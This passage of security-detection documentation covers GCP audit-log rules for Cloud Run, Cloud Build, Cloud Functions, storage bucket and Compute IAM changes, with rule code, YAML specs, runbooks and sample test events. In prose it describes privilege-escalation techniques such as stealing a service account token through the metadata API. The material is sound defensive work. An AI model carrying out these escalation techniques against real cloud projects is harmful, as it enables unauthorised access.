"client.knative.dev/user-image": "us-west1-docker.pkg.dev/some-project/abc-test/run_services_create_test"
},
"labels": {
"run.googleapis.com/startupProbeType": "Default"
},
"name": "cloudrun-exfil-00001-zif"
},
"spec": {
"containerConcurrency": 80,
"serviceAccountName": "abc-test@some-project.iam.gserviceaccount.com",
"timeoutSeconds": 300
}
},
"traffic": [
{
"latestRevision": true,
"percent": 100
}
]
},
"status": {}
},
"serviceName": "run.googleapis.com"
},
"receiveTimestamp": "2024-02-02 09:43:54.723840817",
"resource": {
"labels": {
"configuration_name": "",
"location": "us-west1",
"project_id": "some-project",
"revision_name": "",
"service_name": "cloudrun-exfil"
},
"type": "cloud_run_revision"
},
"severity": "NOTICE",
"timestamp": "2024-02-02 09:43:54.497796000"
}
GCP Cloud Run Service Created WITH Set IAM Policy
#Detects run.services.create method for privilege escalation in GCP. The exploit creates a new Cloud Run Service that, when invoked, returns the Service Account's access token by accessing the metadata API of the server it is running on.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Rule specification
AnalysisType: correlation_rule
RuleID: "GCP.Cloud.Run.Service.Created.WITH.Set.IAM.Policy"
DisplayName: "GCP Cloud Run Service Created WITH Set IAM Policy"
Enabled: false
Severity: High
Description: Detects run.services.create method for privilege escalation in GCP. The exploit creates a new Cloud Run
Service that, when invoked, returns the Service Account's access token by accessing the metadata API of the server
it is running on.
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Runbook: Confirm this was authorized and necessary behavior
Reports:
MITRE ATT&CK:
- TA0004:T1548 # Abuse Elevation Control Mechanism
Detection:
- Group:
- ID: ServiceCreated
RuleID: GCP.Cloud.Run.Service.Created
- ID: SetIAMPolicy
RuleID: GCP.Cloud.Run.Set.IAM.Policy
MatchCriteria:
field_name:
- GroupID: ServiceCreated
Match: p_alert_context.caller_ip
- GroupID: SetIAMPolicy
Match: p_alert_context.caller_ip
LookbackWindowMinutes: 1800
Schedule:
RateMinutes: 1440
TimeoutMinutes: 5
Stages and Predicates
Fires when the steps below all occur within 30h, correlated by p_alert_context.caller_ip. Each step needs one match unless a higher minimum is shown.
Stage 1: step ServiceCreated
References detection GCP Cloud Run Service Created.
Stage 2: step SetIAMPolicy
References detection GCP Cloud Run Set IAM Policy.
Response runbook
Confirm this was authorized and necessary behavior
GCP Cloud Run Set IAM Policy
#Detects new roles granted to users to Cloud Run Services. This could potentially allow the user to perform actions within the project and its resources, which could pose a security risk.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | any: run.googleapis.com (any method) |
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
if event.get("severity") == "ERROR":
return False
method_name = event.deep_get("protoPayload", "methodName", default="")
if not method_name.endswith("Services.SetIamPolicy"):
return False
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
for auth in authorization_info:
if auth.get("permission") == "run.services.setIamPolicy" and auth.get("granted") is True:
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
resource = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>")
service_name = resource.split("/")[-1] if "/" in resource else resource
# Extract roles from the response bindings - there could be multiple
bindings = event.deep_get("protoPayload", "response", "bindings", default=[])
# Handle multiple roles if present
roles = []
for binding in bindings:
if binding.get("role"):
roles.append(binding.get("role"))
# Format roles for title
if not roles:
roles_str = "<NO_ROLES_FOUND>"
elif len(roles) == 1:
roles_str = roles[0]
else:
# If multiple roles, mention the count and list the first one
roles_str = f"{len(roles)} roles including {roles[0]}"
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return (
f"[GCP]: [{actor}] modified IAM policy for Cloud Run service [{service_name}] "
f"with [{roles_str}] in project [{project_id}]"
)
def alert_context(event):
context = gcp_alert_context(event)
# Extract the service name from the resource path for better context
resource = event.deep_get("protoPayload", "resourceName", default="")
if resource:
context["service_name"] = resource.split("/")[-1] if "/" in resource else resource
# Get bindings and role information
bindings = event.deep_get("protoPayload", "response", "bindings", default=[])
# Collect all roles and members
all_roles = []
all_members = []
role_to_members = {}
for binding in bindings:
role = binding.get("role")
members = binding.get("members", [])
if role:
all_roles.append(role)
if members:
all_members.extend(members)
# Create mapping of role to members
if role:
role_to_members[role] = members
# Store all collected information in the context
context["assigned_roles"] = all_roles
context["members_granted"] = all_members
context["role_to_members_mapping"] = role_to_members
return context
Rule specification
AnalysisType: rule
LogTypes:
- GCP.AuditLog
Description:
Detects new roles granted to users to Cloud Run Services. This could potentially allow the user to perform
actions within the project and its resources, which could pose a security risk.
DisplayName: "GCP Cloud Run Set IAM Policy"
RuleID: "GCP.Cloud.Run.Set.IAM.Policy"
Enabled: true
Filename: gcp_cloud_run_set_iam_policy.py
Reference: https://cloud.google.com/run/docs/securing/managing-access
Runbook: Confirm this was authorized and necessary behavior
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
severityis notERRORprotoPayload.methodNameends withServices.SetIamPolicyprotoPayload.authorizationInfois presentany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissionisrun.services.setIamPolicyprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissionisrun.services.setIamPolicy
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authorizationInfo | is_not_null | field:"protoPayload.authorizationInfo" kind:is_not_null | |
protoPayload.authorizationInfo.permission | eq |
| field:"protoPayload.authorizationInfo.permission" kind:eq value:"run.services.setIamPolicy" |
protoPayload.methodName | ends_with |
| field:"protoPayload.methodName" kind:ends_with value:"Services.SetIamPolicy" |
severity | ne |
| field:"severity" kind:ne value:"ERROR" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Confirm this was authorized and necessary behavior
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "l3jvzyd2s2s",
"logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "some.user@company.com",
"principalSubject": "user:some.user@company.com"
},
"authorizationInfo": [
{
"granted": true,
"permission": "run.services.setIamPolicy",
"resource": "projects/some-project/locations/us-west1/services/cloudrun-exfil",
"resourceAttributes": {}
},
{
"granted": true,
"permission": "run.services.setIamPolicy",
"resourceAttributes": {}
}
],
"methodName": "google.cloud.run.v1.Services.SetIamPolicy",
"request": {
"@type": "type.googleapis.com/google.iam.v1.SetIamPolicyRequest",
"policy": {
"bindings": [
{
"members": [
"user:some.user@company.com"
],
"role": "roles/run.invoker"
}
]
},
"resource": "projects/some-project/locations/us-west1/services/cloudrun-exfil"
},
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerSuppliedUserAgent": "(gzip),gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2024-02-02T09:44:26.173186Z"
}
},
"resourceLocation": {
"currentLocations": [
"us-west1"
]
},
"resourceName": "projects/some-project/locations/us-west1/services/cloudrun-exfil",
"response": {
"@type": "type.googleapis.com/google.iam.v1.Policy",
"bindings": [
{
"members": [
"user:some.user@company.com"
],
"role": "roles/run.invoker"
}
],
"etag": "BwYQYvUoBxs="
},
"serviceName": "run.googleapis.com"
},
"receiveTimestamp": "2024-02-02 09:44:26.653891982",
"resource": {
"labels": {
"configuration_name": "",
"location": "us-west1",
"project_id": "some-project",
"revision_name": "",
"service_name": ""
},
"type": "cloud_run_revision"
},
"severity": "NOTICE",
"timestamp": "2024-02-02 09:44:26.029835000"
}
GCP Cloud Storage Buckets Modified Or Deleted
#Detects when a GCS bucket configuration is updated or deleted. Bucket configuration changes can be part of a ransomware attack, such as disabling security settings to prevent data recovery.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Defense Impairment | |
| Impact |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | storage.buckets.delete: Delete bucket |
| GCP | storage.buckets.update: Update bucket metadata |
Detection logic
BUCKET_OPERATIONS = ["storage.buckets.delete", "storage.buckets.update"]
def rule(event):
return all(
[
event.deep_get("protoPayload", "serviceName", default="") == "storage.googleapis.com",
event.deep_get("protoPayload", "methodName", default="") in BUCKET_OPERATIONS,
event.get("severity") != "ERROR",
]
)
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
project = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
bucket = event.deep_get("resource", "labels", "bucket_name", default="<BUCKET_NOT_FOUND>")
return f"GCP: [{actor}] performed a [{operation}] on bucket [{bucket}] in project [{project}]."
def alert_context(event):
return {
"actor": event.deep_get("protoPayload", "authenticationInfo", "principalEmail"),
"bucket": event.deep_get("resource", "labels", "bucket_name"),
"source_ip": event.deep_get("protoPayload", "requestMetadata", "callerIp"),
"user_agent": event.deep_get("protoPayload", "requestMetadata", "callerSuppliedUserAgent"),
"project": event.deep_get("resource", "labels", "project_id"),
}
Rule specification
AnalysisType: rule
DisplayName: "GCP Cloud Storage Buckets Modified Or Deleted"
Enabled: true
Filename: gcp_cloud_storage_buckets_modified_or_deleted.py
Description: >
Detects when a GCS bucket configuration is updated or deleted. Bucket configuration changes can be
part of a ransomware attack, such as disabling security settings to prevent data recovery.
Runbook: |
1. Query GCP Audit logs for all bucket operations by the principal email in the 24 hours before and after this alert
2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access patterns
3. Identify what specific configuration was changed (encryption, retention, versioning, lifecycle policies)
4. Search for related KMS key changes or IAM policy modifications on the same bucket in the past 6 hours
5. Look for bulk object operations (rewrite, copy, delete) on this bucket following the configuration change
Reference: https://cloud.google.com/storage/docs/json_api/v1/buckets/update
Tags:
- GCP
- Google Cloud Storage
- Defense Evasion:Impair Defenses
- Impact:Data Encrypted for Impact
- Ransomware
Reports:
MITRE ATT&CK:
- TA0005:T1562
- TA0040:T1486
SummaryAttributes:
- severity
- p_any_ip_addresses
- p_any_emails
Severity: Low
DedupPeriodMinutes: 60
LogTypes:
- GCP.AuditLog
RuleID: "GCP.Cloud.Storage.Buckets.Modified.Or.Deleted"
Threshold: 1
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.serviceNameisstorage.googleapis.comprotoPayload.methodNameis one ofstorage.buckets.delete,storage.buckets.updateseverityis notERROR
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | in |
| field:"protoPayload.methodName" kind:in |
protoPayload.serviceName | eq |
| field:"gcp::service_name" kind:eq value:"storage.googleapis.com" |
severity | ne |
| field:"severity" kind:ne value:"ERROR" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
actor | protoPayload.authenticationInfo.principalEmail |
bucket | resource.labels.bucket_name |
source_ip | protoPayload.requestMetadata.callerIp |
user_agent | protoPayload.requestMetadata.callerSuppliedUserAgent |
project | resource.labels.project_id |
methodName | protoPayload.methodName |
Response runbook
1. Query GCP Audit logs for all bucket operations by the principal email in the 24 hours before and after this alert
2. Check if the source IP is associated with known cloud provider IP ranges, VPN endpoints, or matches the user's typical access patterns
3. Identify what specific configuration was changed (encryption, retention, versioning, lifecycle policies)
4. Search for related KMS key changes or IAM policy modifications on the same bucket in the past 6 hours
5. Look for bulk object operations (rewrite, copy, delete) on this bucket following the configuration change
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "asdf1234asdfg",
"logName": "projects/gcp-project1/logs/cloudaudit.googleapis.com%2Factivity",
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_event_time": "2023-03-09 10:05:23.603",
"p_log_type": "GCP.AuditLog",
"p_parse_time": "2023-03-09 10:07:14.731",
"p_row_id": "7ad218d42253b7e6f78cc0ed1635",
"p_source_id": "4fc88a5a-2d51-4279-9c4a-08fa7cc52566",
"p_source_label": "gcplogsource",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@company.io"
},
"authorizationInfo": [
{
"granted": true,
"permission": "storage.buckets.update",
"resource": "projects/_/buckets/my-bucket",
"resourceAttributes": {}
}
],
"methodName": "storage.buckets.update",
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerSuppliedUserAgent": "apitools Python/3.9.11 gsutil/5.11 (darwin) analytics/enabled interactive/True command/notification google-cloud-sdk/394.0.0,gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2023-03-09T10:05:23.610372568Z"
}
},
"resourceName": "projects/_/buckets/my-bucket",
"serviceName": "storage.googleapis.com",
"status": {}
},
"receiveTimestamp": "2023-03-09 10:05:25.146",
"resource": {
"labels": {
"bucket_name": "my-bucket",
"location": "us-east1",
"project_id": "gcp-project1"
},
"type": "gcs_bucket"
},
"severity": "NOTICE",
"timestamp": "2023-03-09 10:05:23.603"
}
GCP CloudBuild Potential Privilege Escalation
#Detects privilege escalation attacks designed to gain access to the Cloud Build Service Account. A user with permissions to start a new build with Cloud Build can gain access to the Cloud Build Service Account and abuse it for more access to the environment.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | google.devtools.cloudbuild.CloudBuild.CreateBuild: CreateBuild |
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
if not event.deep_get("protoPayload", "methodName", default="METHOD_NOT_FOUND").endswith(
"CloudBuild.CreateBuild"
):
return False
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
# Get the principal (actor) email
principal = event.deep_get("protoPayload", "authenticationInfo", "principalEmail", default="")
# Skip whitelisted service accounts
if principal.endswith("@gcf-admin-robot.iam.gserviceaccount.com"):
return False
# Check if build.create permission was granted
for auth in authorization_info:
if auth.get("permission") == "cloudbuild.builds.create" and auth.get("granted") is True:
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
LogTypes:
- GCP.AuditLog
Description:
Detects privilege escalation attacks designed to gain access to the Cloud Build Service Account.
A user with permissions to start a new build with Cloud Build can gain access to the Cloud Build Service Account
and abuse it for more access to the environment.
DisplayName: "GCP CloudBuild Potential Privilege Escalation"
RuleID: "GCP.CloudBuild.Potential.Privilege.Escalation"
Enabled: true
Filename: gcp_cloudbuild_potential_privilege_escalation.py
Reference: https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
Runbook:
Confirm this was authorized and necessary behavior. To defend against this privilege escalation attack,
it is necessary to restrict the permissions granted to the Cloud Build Service Account and to be careful granting
the cloudbuild.builds.create permission to any users in your Organization. Most importantly, you need to know that
any user who is granted cloudbuild.builds.create, is also indirectly granted all the permissions granted to the
Cloud Build Service Account. If that’s alright with you, then you may not need to worry about this attack vector,
but it is still highly recommended to modify the default permissions granted to the Cloud Build Service Account.
Reports:
MITRE ATT&CK:
- TA0004:T1548 # Abuse Elevation Control Mechanism
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.methodNameends withCloudBuild.CreateBuildprotoPayload.authorizationInfois presentprotoPayload.authenticationInfo.principalEmaildoes not end with@gcf-admin-robot.iam.gserviceaccount.comany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissioniscloudbuild.builds.createprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissioniscloudbuild.builds.create
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
protoPayload.authenticationInfo.principalEmail | ends_with | @gcf-admin-robot.iam.gserviceaccount.com | excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"@gcf-admin-robot.iam.gserviceaccount.com" |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authorizationInfo | is_not_null | field:"protoPayload.authorizationInfo" kind:is_not_null | |
protoPayload.authorizationInfo.permission | eq |
| field:"protoPayload.authorizationInfo.permission" kind:eq value:"cloudbuild.builds.create" |
protoPayload.methodName | ends_with |
| field:"protoPayload.methodName" kind:ends_with value:"CloudBuild.CreateBuild" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Confirm this was authorized and necessary behavior. To defend against this privilege escalation attack, it is necessary to restrict the permissions granted to the Cloud Build Service Account and to be careful granting the cloudbuild.builds.create permission to any users in your Organization. Most importantly, you need to know that any user who is granted cloudbuild.builds.create, is also indirectly granted all the permissions granted to the Cloud Build Service Account. If that’s alright with you, then you may not need to worry about this attack vector, but it is still highly recommended to modify the default permissions granted to the Cloud Build Service Account.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Factivity",
"operation": {
"first": true,
"id": "operations/build/some-project/YzNhZWI0YWYtNjAwNi00YzM5LTgxYmUtMjhmMjc1YzJkOGEz",
"producer": "cloudbuild.googleapis.com"
},
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "whodoneit@some-project.iam.gserviceaccount.com",
"principalSubject": "serviceAccount:whodoneit@some-project.iam.gserviceaccount.com",
"serviceAccountKeyName": "//iam.googleapis.com/projects/some-project/serviceAccounts/whodoneit@some-project.iam.gserviceaccount.com/keys/123er456788"
},
"authorizationInfo": [
{
"granted": true,
"permission": "cloudbuild.builds.create",
"resource": "projects/some-project",
"resourceAttributes": {}
}
],
"methodName": "google.devtools.cloudbuild.v1.CloudBuild.CreateBuild",
"request": {
"@type": "type.googleapis.com/google.devtools.cloudbuild.v1.CreateBuildRequest",
"build": {},
"projectId": "some-project"
},
"requestMetadata": {
"callerIP": "189.163.74.177",
"callerSuppliedUserAgent": "(gzip),gzip(gfe),gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2024-01-25T11:55:09.740095Z"
}
},
"resourceLocation": {
"currentLocations": [
"global"
]
},
"resourceName": "projects/some-project/builds",
"serviceName": "cloudbuild.googleapis.com"
},
"receiveTimestamp": "2024-01-25 11:55:09.854909113",
"resource": {
"labels": {
"build_id": "c3aeb4ap-6006-4c39-81be-28f275c2d8a3",
"build_trigger_id": "",
"project_id": "some-project"
},
"type": "build"
},
"severity": "NOTICE",
"timestamp": "2024-01-25 11:55:08.919358000"
}
GCP cloudfunctions functions create
#The Identity and Access Management (IAM) service manages authorization and authentication for a GCP environment. This means that there are very likely multiple privilege escalation methods that use the IAM service and/or its permissions.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | any: cloudfunctions.googleapis.com (any method) |
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
for auth in authorization_info:
if (
auth.get("permission") == "cloudfunctions.functions.create"
and auth.get("granted") is True
):
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
RuleID: "GCP.Cloudfunctions.Functions.Create"
DisplayName: "GCP cloudfunctions functions create"
Description:
The Identity and Access Management (IAM) service manages authorization and authentication for
a GCP environment. This means that there are very likely multiple privilege escalation methods that use
the IAM service and/or its permissions.
Enabled: true
Filename: gcp_cloudfunctions_functions_create.py
LogTypes:
- GCP.AuditLog
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Runbook:
Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability
in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against
them. It’s also important to remember that privilege escalation does not necessarily need to pass through the
IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help
mitigate these security risks.
Reports:
MITRE ATT&CK:
- TA0004:T1548
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.authorizationInfois presentany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissioniscloudfunctions.functions.createprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissioniscloudfunctions.functions.create
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authorizationInfo | is_not_null | field:"protoPayload.authorizationInfo" kind:is_not_null | |
protoPayload.authorizationInfo.permission | eq |
| field:"protoPayload.authorizationInfo.permission" kind:eq value:"cloudfunctions.functions.create" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against them. It’s also important to remember that privilege escalation does not necessarily need to pass through the IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help mitigate these security risks.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"authorizationInfo": [
{
"granted": true,
"permission": "cloudfunctions.functions.create"
}
],
"methodName": "v2.deploymentmanager.deployments.insert",
"serviceName": "deploymentmanager.googleapis.com"
},
"receiveTimestamp": "2024-01-19 13:47:19.465856238",
"resource": {
"labels": {
"name": "test-vm-deployment",
"project_id": "panther-threat-research"
},
"type": "deployment"
},
"severity": "NOTICE",
"timestamp": "2024-01-19 13:47:18.279921000"
}
GCP cloudfunctions functions update
#The Identity and Access Management (IAM) service manages authorization and authentication for a GCP environment. This means that there are very likely multiple privilege escalation methods that use the IAM service and/or its permissions.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | any: cloudfunctions.googleapis.com (any method) |
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
for auth in authorization_info:
if (
auth.get("permission") == "cloudfunctions.functions.update"
and auth.get("granted") is True
):
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
RuleID: "GCP.Cloudfunctions.Functions.Update"
DisplayName: "GCP cloudfunctions functions update"
Description:
The Identity and Access Management (IAM) service manages authorization and authentication for
a GCP environment. This means that there are very likely multiple privilege escalation methods that use
the IAM service and/or its permissions.
Enabled: true
Filename: gcp_cloudfunctions_functions_update.py
LogTypes:
- GCP.AuditLog
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Runbook:
Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability
in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against
them. It’s also important to remember that privilege escalation does not necessarily need to pass through the
IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help
mitigate these security risks.
Reports:
MITRE ATT&CK:
- TA0004:T1548
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.authorizationInfois presentany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissioniscloudfunctions.functions.updateprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissioniscloudfunctions.functions.update
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authorizationInfo | is_not_null | field:"protoPayload.authorizationInfo" kind:is_not_null | |
protoPayload.authorizationInfo.permission | eq |
| field:"protoPayload.authorizationInfo.permission" kind:eq value:"cloudfunctions.functions.update" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against them. It’s also important to remember that privilege escalation does not necessarily need to pass through the IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help mitigate these security risks.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"authorizationInfo": [
{
"granted": true,
"permission": "cloudfunctions.functions.update"
}
],
"methodName": "v2.deploymentmanager.deployments.insert",
"serviceName": "deploymentmanager.googleapis.com"
},
"receiveTimestamp": "2024-01-19 13:47:19.465856238",
"resource": {
"labels": {
"name": "test-vm-deployment",
"project_id": "panther-threat-research"
},
"type": "deployment"
},
"severity": "NOTICE",
"timestamp": "2024-01-19 13:47:18.279921000"
}
GCP Compute IAM Policy Update Detection
#This rule detects updates to IAM policies for Compute Disks, Images, and Snapshots.
Telemetry coverage
Detection logic
from panther_gcp_helpers import gcp_alert_context, get_binding_deltas
SUSPICIOUS_ACTIONS = [
"v1.compute.disks.setIamPolicy",
"v1.compute.images.setIamPolicy",
"v1.compute.snapshots.setIamPolicy",
]
def rule(event):
if event.deep_get("protoPayload", "response", "error"):
return False
method = event.deep_get("protoPayload", "methodName", default="METHOD_NOT_FOUND")
if method in SUSPICIOUS_ACTIONS:
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
items = event.deep_get("protoPayload", "methodName", default="ITEMS_NOT_FOUND. ").split(".")[-2]
project = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] updated IAM policy for [{items}] on project [{project}]"
def alert_context(event):
context = gcp_alert_context(event)
service_accounts = event.deep_get("protoPayload", "request", "serviceAccounts")
if not service_accounts:
service_account_emails = "<SERVICE_ACCOUNT_EMAILS_NOT_FOUND>"
else:
service_account_emails = [service_acc["email"] for service_acc in service_accounts]
context["serviceAccount"] = service_account_emails
context["binding_deltas"] = get_binding_deltas(event)
return context
Rule specification
AnalysisType: rule
DedupPeriodMinutes: 60
DisplayName: GCP Compute IAM Policy Update Detection
Enabled: true
Filename: gcp_compute_set_iam_policy.py
RuleID: "GCP.Compute.IAM.Policy.Update"
Severity: Medium
LogTypes:
- GCP.AuditLog
Description: >
This rule detects updates to IAM policies for Compute Disks, Images, and Snapshots.
Runbook: >
Ensure that the IAM policy update was expected. Unauthorized changes can lead to security risks.
Reference: https://cloud.google.com/compute/docs/access/iam
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.response.erroris emptyprotoPayload.methodNameis one ofv1.compute.disks.setIamPolicy,v1.compute.images.setIamPolicy,v1.compute.snapshots.setIamPolicy
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | in |
| field:"protoPayload.methodName" kind:in |
protoPayload.response.error | is_null | field:"protoPayload.response.error" kind:is_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Ensure that the IAM policy update was expected. Unauthorized changes can lead to security risks.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "1abcd23efg456",
"labels": {
"compute.googleapis.com/root_trigger_id": "trigger-id-1"
},
